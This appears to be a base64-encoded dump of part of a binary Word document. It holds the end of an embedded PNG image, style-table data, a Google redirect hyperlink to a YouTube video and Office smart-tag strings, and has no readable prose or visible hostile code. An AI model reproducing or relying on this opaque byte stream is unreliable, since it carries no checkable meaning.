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 NkdplxI7GH0AFuimRzrZ8dPxi2bqspUe4KCuippX8ZAAvqSd0ys1eWIYX6o1bRhqu1PFBQ6bUFKf fOedHJv66SHqGy/1Io1Hf/yvdhxbWfwbf/V3fxt/pb+zChSBUhwjj0AK0ohhw1xQ1OIJ/mFJwPyU Ucf766a4R/xPi03GI7Ekh1/4qgz7oy+U1GJxak6z/XrRBYfR+fCO/LCzPp5C+TdTUKQsMTJJ68qB 0OtooC4UhfHy1FTi83kWlQHrmviIrHqmLyJ60LsHM7zv4yfiFmnRg6uSVrO3RyUjChwxvmec+Ljx nK84gG88qWWje3yqtFr9qDVcr14fd6xFENJQygA09UQ72vA5l/S85NW3Eh/4d9KE736Zq6jkbUwR rJFYQ8PbcL9+90QMQzUdj6SMfLyctgTf4qJfHXwsJ32zuLzh92L1Slbaz+kKKVz3uIpYFsmNkxtE qf8PhbYv81aIW0gAAAAASUVORK5CYIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIYC EAASAAEAnAAPAAQAAAAAAAAAAAAEAAgAAAAIAAAADgAAAA4AAAAOAAAADgAAAA4AAAAOAAAADgAA AA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAEAAAEDx/wIAQAAMFAAAAAAAAAAABgBOAG8AcgBtAGEAbAAAAAIA AAAYAENKGABfSAEEYUoYAG1ICQRzSAkEdEgJBAAAAAAAAAAAAAAAAAAAAAAAAEQAQUDy/6EARAAM BQAAAAAAAAAAFgBEAGUAZgBhAHUAbAB0ACAAUABhAHIAYQBnAHIAYQBwAGgAIABGAG8AbgB0AAAA AABSAGlA8/+zAFIADAUAAAAAAAAAAAwAVABhAGIAbABlACAATgBvAHIAbQBhAGwAAAAcABf2AwAA NNYGAAEKA2wANNYGAAEFAwAAYfYDAAACAAsAAAAoAGtA9P/BACgAAAUAAAAAAAAAAAcATgBvACAA TABpAHMAdAAAAAIADAAAAAAANgBVQKIA8QA2AAwEAABnQ4YAAAAJAEgAeQBwAGUAcgBsAGkAbgBr AAAADAA+KgFCKgdwaAAA/wAAAAAA7QsAAAQAACQAAAAA/////wAAAAAhAAAAPQAAAMwAAAAeAQAA QgEAAFsBAACGAQAAuAEAALkBAAB6AwAAewMAALcEAAC4BAAAkAYAAJEGAAARBwAAdAcAAHUHAADa BwAACwgAAC0IAACWCAAA1wgAABcJAABcCQAApQkAAOAJAAAZCgAAUgoAAIAKAACvCgAACwsAAAwL AAAoCwAALAsAAKsLAADqCwAA6wsAAOwLAADvCwAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAA AJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAA mAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACY AAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgA AAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAA AAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAA ADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAA MAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAw AAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAA AAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAA AAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAA AAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAA AAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAA AACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAA AIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAA gAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACA AAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAA AACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAA AIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAA gAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACA AAAAAAAAAACAAAAAAAAeAQAAQgEAAFsBAAC5AQAAegMAAHsDAAC3BAAAuAQAAJAGAAB0BwAAdQcA ANoHAAALCAAALQgAABkKAABSCgAAgAoAAK8KAAALCwAADAsAACgLAAAsCwAAqwsAAOoLAADvCwAA S4gAMAAwAAAAAAAAAQAAABcAAAABAAAAkJKgB0uIADAAMAAAAAAAAAEAAAAVAAAAAAAAAAAAgAdJ iAAwADAAAAAAAAABAAAADwAAAAAAAAAAAIABS4gAMAAwAAAAAAAAAgAAAAwAAAAAAAAAAACAB0uI ADAAMAAAAAAAAAEAAAAEAAAAAAAAAAAAgAdJiAAwBjAAAAAAAAACAAAADAAAAAAAAAAAAIABSYgA MAAwAAAAAAAAAQAAAAMAAAAAAAAAAACAAUmIADAAMAAAAAAAAAEAAAAEAAAAAAAAAAAAgAFLiAAw ADAAAAAAAAABAAAABAAAAAAAAAAAAIAHS4gAMAkAAAAAAAAAAQAAAA8AAAAKAAAAXE6OB0mIADAJ AAAAAAAAAAEAAAAOAAAAAAAAAAAAgAFJiAAwCQAAAAAAAAACAAAADAAAAAAAAAAAAIABSYgAMAAw AAAAAAAAAQAAAAMAAAAAAAAAAACAAUmIADAAMAAAAAAAAAEAAAAEAAAAAAAAAAAAgAFJiAAwADAA AAAAAAABAAAABAAAAAEAAACYpOMHS4gAMAAwAAAAAAAAAQAAAAMAAAAAAAAAAACAB0uIADAAMAAA AAAAAAIAAAABAAAAAAAAAAAAgAcCAAAAADAAAAAAAAAAAAAAAKAAAAAAAAAAAAAHSYgAMAAwAAAA AAAAAQAAAAAAAAAAAAAAAACAAUmIADAAMAAAAAAAAAEAAAAAAAAAAAAAAAAAgAFJiAAwADAAAAAA AAABAAAAAAAAAAAAAAAAAIABSYgAMAAwAAAAAAAAAQAAAAAAAAAAAAAAAACAAUmIADAAMAAAAAAA AAEAAAAAAAAAAAAAAAAAgAFLiAAwADAAAAAAAAABAAAAAAAAAAAAAAAAAIAHSYgAMAAwAAAAAAAA AQAAAAAAAAAAAAAAaAfIBwAGAAC5CQAAkA4AAN8RAACrEwAA7RMAAAoAAAANAAAADgAAABAAAAAR AAAAAAYAAKURAADtEwAACwAAAA8AAAAABgAA7RMAAAwAAAAPAADwxAAAAAAABvAYAAAAAggAAAIA AAAFAAAAAQAAAAEAAAAGAAAAPwAB8IQAAABiAAfwJAAAAAYGSbbA7eFzakiMbGMUFL7Lbf8ASbQA AAEAAAA0JAAAAAAAAFIAB/AkAAAABQWyexNwDj4nYjz7d7jXzSRR/wBQEgAAAQAAAH3YAAAAAAAA YgAH8CQAAAAGBjNMERz+xE+KvF/xIIF82U//AAEIAQABAAAAzeoAAAAAAABAAB7xEAAAAP//AAAA AP8AgICAAPcAABAADwAC8GgDAAAQAAjwCAAAAAQAAAAFBAAADwAD8AYDAAAPAATwKAAAAAEACfAQ AAAAAAAAAAAAAAAAAAAAAAAAAAIACvAIAAAAAAQAAAUAAAAPAATwZAAAALIECvAIAAAAAgQAAAAK AABTAAvwIAAAAARBAQAAAAXBAgAAAAYBAgAAAP8BAAAIAL8DIAAgAAAAIwAi8QwAAAC/AQAAYAA/ BQAAAQAAABDwBAAAAAEAAAAAABHwBAAAAAEAAAAPAATwCgIAALIECvAIAAAABAQAAAAKAACTAAvw ugEAAARBAgAAAAXBEAAAAAYBAgAAAP8BAAAIAIHDAgAAAILDcgEAAIQDAAAAAIYDAAAAAL8DKAAo AGQAZQBmAGEAdQBsAHQAAAAAANDJ6nn5us4RjIIAqgBLqQsCAAAAAwAAAODJ6nn5us4RjIIAqgBL qQtGAQAAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbwBvAGcAbABlAC4AYwBvAC4AegBhAC8AdQBy AGwAPwBxAD0AaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHkAbwB1AHQAdQBiAGUALgBjAG8AbQAvAHcA YQB0AGMAaAAlADMARgB2ACUAMwBEAHUAOAAtAEMAZgBJAE0AZQBqADAAVQAmAHMAYQA9AFUAJgBl AGkAPQBiADEAOQB5AFQAcwBlAGwARABJAFQANABtAEEAVwA3AHQAWQBtAGIAQwBnACYAdgBlAGQA PQAwAEMAQwB3AFEAdAB3AEkAdwBCAEEAJgB1AHMAZwA9AEEARgBRAGoAQwBOAEgAdABOAHcANABX AHEAZgBhAHYAUwBDAGIAeQBxAGYANwBjAFkAdQBnAGYASQBfADMASQBNAHcAAABDACLxGAAAAL8B AABgAJIDAwAAAL8DAAAAAj8FAAABAAAAEPAEAAAAAgAAAAAAEfAEAAAAAQAAAA8ABPBQAAAAsgQK 8AgAAAAFBAAAAAoAADMAC/ASAAAABEEDAAAA/wEAAAgAvwMAACAAEwAi8QYAAAC/AQAAYAAAABDw BAAAAAAAAAAAABHwBAAAAAEAAAAPAATwQgAAABIACvAIAAAAAQQAAAAOAABTAAvwHgAAAL8BAAAQ AMsBAAAAAP8BAAAIAAQDCQAAAD8DAQABAAAAEfAEAAAAAQAAAAAAAAABAAAAAgAAAO0LAAAFBAAA BAgAALj///8wGAAAWAUAAHQAAAAAAAIEAACM+P//NPz//8QpAADIOgAAdEAAAAAABAQAAOgXAAC4 ////yCgAAFgFAAB0QAAAAAD//xIAAAAGALmQUgAJAAEA5IPYCwYAupBSAAgAAQAMs+MLBgC7kFIA CAABAKz32AsGALyQUgARAAEAXETYCwYAvZBSAAgAAQB8veMLBgC+kFIAEQABABT12AsGAL+QUgAJ AAEAZA/YCwYAwJBSABEAAQDUfdgLBgDBkFIACQABAGy84wsGAMKQUgAIAAEA7PfYCwYAw5BSAAkA AQC87+ALBgDEkFIACQABADxg2AsGAMWQUgAIAAEAxH7YCwYAxpBSAAkAAQAEyRoABgDHkFIACQAB AGxCIgAGAMiQUgAIAAEAhEQiAAYAyZBSAAgAAQAEZdgLBgDKkFIACQABAAQJ2AsDAAAAAwAAAN4A AADeAAAAHgEAAB4BAAAyAQAAOQEAAL8DAAC/AwAA6AMAADYEAACvBAAArwQAAM0GAADNBgAApwcA AKcHAADvCwAAAAAAAAIAAQAAAAIAAgAAAAIAAwAAAAIABgAAAAIABAAAAAIABQAAAAIABwAAAAIA CAAAAAIACQAAAAIACgAAAAEACwAAAAEADAAAAAIADQAAAAIADgAAAAIADwAAAAIAEAAAAAIAEQAA AAIACQAAAAkAAADsAAAA7AAAADEBAAA4AQAAQQEAAEEBAADLAwAAywMAAPQDAABCBAAAtQQAALUE AADTBgAA0wYAALMHAACzBwAA7wsAAAAAAAABAAAAAgAAAAMAAAAFAAEABgABAAQAAAAHAAAACAAA AAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAAAYAAABWAAAAEQAAACqAdXJuOnNj aGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzBYBwbGFjZR2AaHR0cDovL3d3dy41 aWFudGxhdmFsYW1wLmNvbS9fAAAAEgAAACqAdXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZp Y2U6c21hcnR0YWdzDoBjb3VudHJ5LXJlZ2lvbh2AaHR0cDovL3d3dy41aWFudGxhdmFsYW1wLmNv bS87AAAAEAAAACqAdXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzB4Bh ZGRyZXNzAIBoAAAADAAAACqAdXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0 YWdzBIBDaXR5MIBodHRwOi8vd3d3LjVpYW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpzbWFydHRh Z3M6AAAADwAAACqAdXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzBoBT dHJlZXQAgD4AAAALAAAAKoB1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpzbWFydHRh Z3MKgFBvc3RhbENvZGUAgAwAAAF0AWYYAAAAABIAAAAAABEAAAAAABAAAAAAAA8AAAAAABAAAAAA AA8AAAAAAAwAAAAAAAsAAAAAABIAAAAAABEAAAAAABIAAAAAABIAAAAAABEAAAAAABIAAAAAABIA AAAAABEAAAAAABEAAAAAABIAAAAAAAAAAADvCwAABwAAAAAA7wsAAAcAAAAAAAEAAAAgAAAAIQAA AD0AAAA9AAAAHgEAAB4BAAAxAQAAMgEAAIUBAACGAQAAuQEAALkBAAAaCAAALAgAAC0IAAAtCAAA lggAAJYIAADsCwAA7wsAAAQAAwAEAAMABAADAAQAAwAEAAMABAADAAQAAwAEAAMABAADAAQAAwAH 